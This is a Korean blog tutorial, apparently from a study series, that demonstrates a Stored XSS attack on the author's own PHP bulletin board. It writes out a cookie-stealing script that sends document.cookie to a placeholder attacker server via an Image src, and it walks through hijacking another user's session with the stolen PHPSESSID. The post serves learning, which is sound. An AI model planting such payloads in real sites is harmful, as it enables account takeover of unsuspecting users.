1

게시판에서 Stored XSS 공격해보기.

게시판에서 Stored XSS 공격해보기.

노아의 블로그

    목차
반응형

자 이제 공격을 해 봅시다.

악성 스크립트. 스크립트는 자바스크립트를 뜻합니다.

 

악의적인 목적의 자바스크립트를 넣는거죠.

 

전에 말했지만..쿠키를 탈취하거나

피싱사이트로 리다이렉트 하거나

키로깅를 하거나.

 

예시를 들어보겠습니다.

자바스크립트로 알람창을 띄우는 코드는 <script>alert(123456);</script> 입니다.

 

게시글에 이렇게 써 보겠습니다.

과연 어떤 일이 벌어질까요?(두근두근)

 

맨 밑에 게시글을 클릭 해 봅시다.

 

놀랍게도 작성한 스크립트가 실행이 됩니다.

 

그러면 해커가..쿠키를 탈취하는 코드를 게시판에 작성해버리면

그 게시글에 들어간 순간 정보가 털리겠죠 한번 해 보도록 하겠습니다.

 

잠깐..그전에 문제를 해결하고 가도록 하겠습니다.

register.php에서 기본으로 쿼리를 생성하기에 따옴표 문제로 공격이 원할하지 않습니다. 어짜피 바꿔야할거 지금 preparedstatement로 바꿔주겠습니다.

<?php 
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$title = $_POST['title'];
$content = $_POST['content'];
$date = date("Y-m-d");
$sql = "Insert into board(title,content,createdate) values(?,?,?)";
$stmt = $conn->prepare($sql);
$stmt->bind_param('sss',$title,$content,$date);
$stmt->execute();
$result = $stmt->get_result();
$affectedRows = $stmt->affected_rows;
if($affectedRows){
	echo "<script>alert('board register success'); 
	location.href='list.php';</script>";
}
if (mysqli_error($conn)) { //id
    		echo "<script>alert('id check');</script>";
    	}
}
?>

 

진짜 시작.

공격을 하기 전에 공격자의 서버를 가지고 있어야 합니다만

구축하는데도 시간이 걸리고 귀찮으니까 유용한 사이트가 있습니다.

https://public.requestbin.com/ 여기서 링크를 줍니다. 이 링크로 요청한 모든 값을 이 사이트에서 볼 수 있습니다.

 

자. 이제 악성 스크립트를 제작 해 봅시다.

스크립트에서는 공격자의 서버에다가 요청을 해야합니다.

요청 방법중 WEB Request XML 이 있는데 이것은 브라우저의 보안 정책 위반 사앙에 해당한다고 하므로 

img 객체를 사용해서 해보죠.

 

img 객체의 src 속성은 링크를 입력해서 다른 사이트의 이미지를 가져 올 수 있습니다.

이때 다른 사이트의 이미지를 요청해야겠지요? 이 방법으로 공격자의 서버에 요청 하는 것 입니다.

 

게시판에 글을 써보죠.

 

제목은 아무거나.

내용은 이렇게

<script>var img = new Image(); img.src = '공격자서버주소';</script>

img 변수에 Image객체를 생성합니다.

이미지를 불러올 주소에 공격자 서버주소를 입력해서 공격자 서버에 요청을 시도합니다.

 

게시글을 클릭할 시 공격자 서버에 로그가 남습니다.

이렇게요.

이제 쿠키를 탈취해봅시다..

쿠키는 자바스크립트로 document.cookie라는 명령어로 가져올 수 있습니다.

 

그렇다면 공격자 서버주소 + GET방식으로 cookie값을 보내버린다면?

로그에는 클릭한 사람의 쿠키가 남겠죠..

 

<script>var img = new Image(); img.src = '공격자 서버 주소?cookie=' + document.cookie ;</script>

이러한 스크립트를 게시글로 남깁시다.

 

그럼, 이제 id4라는 계정으로 로그인을 해 보겠습니다.

 

로그인 하고 저 스크립트를 작성한 게시글을 클릭하면?

 

공격자 서버에는 id4 사용자의 세션ID가 털렸습니다.

로그아웃후

사이트에 들어가서 이름을 PHPSESSID,값을 공격자 서버에 들어온 세션값으로 설정하고 index.php로 이동하면..

놀랍게도 로그인이 됩니다.

다음시간에는 XSS 공격을 막아봅시다. 

반응형

'해킹 > XSS' 카테고리의 다른 글

게시판에 Reflected XSS 공격 해보기  (0) 2023.05.15
Reflected XSS 학습  (0) 2023.05.14
XSS 학습  (0) 2023.05.07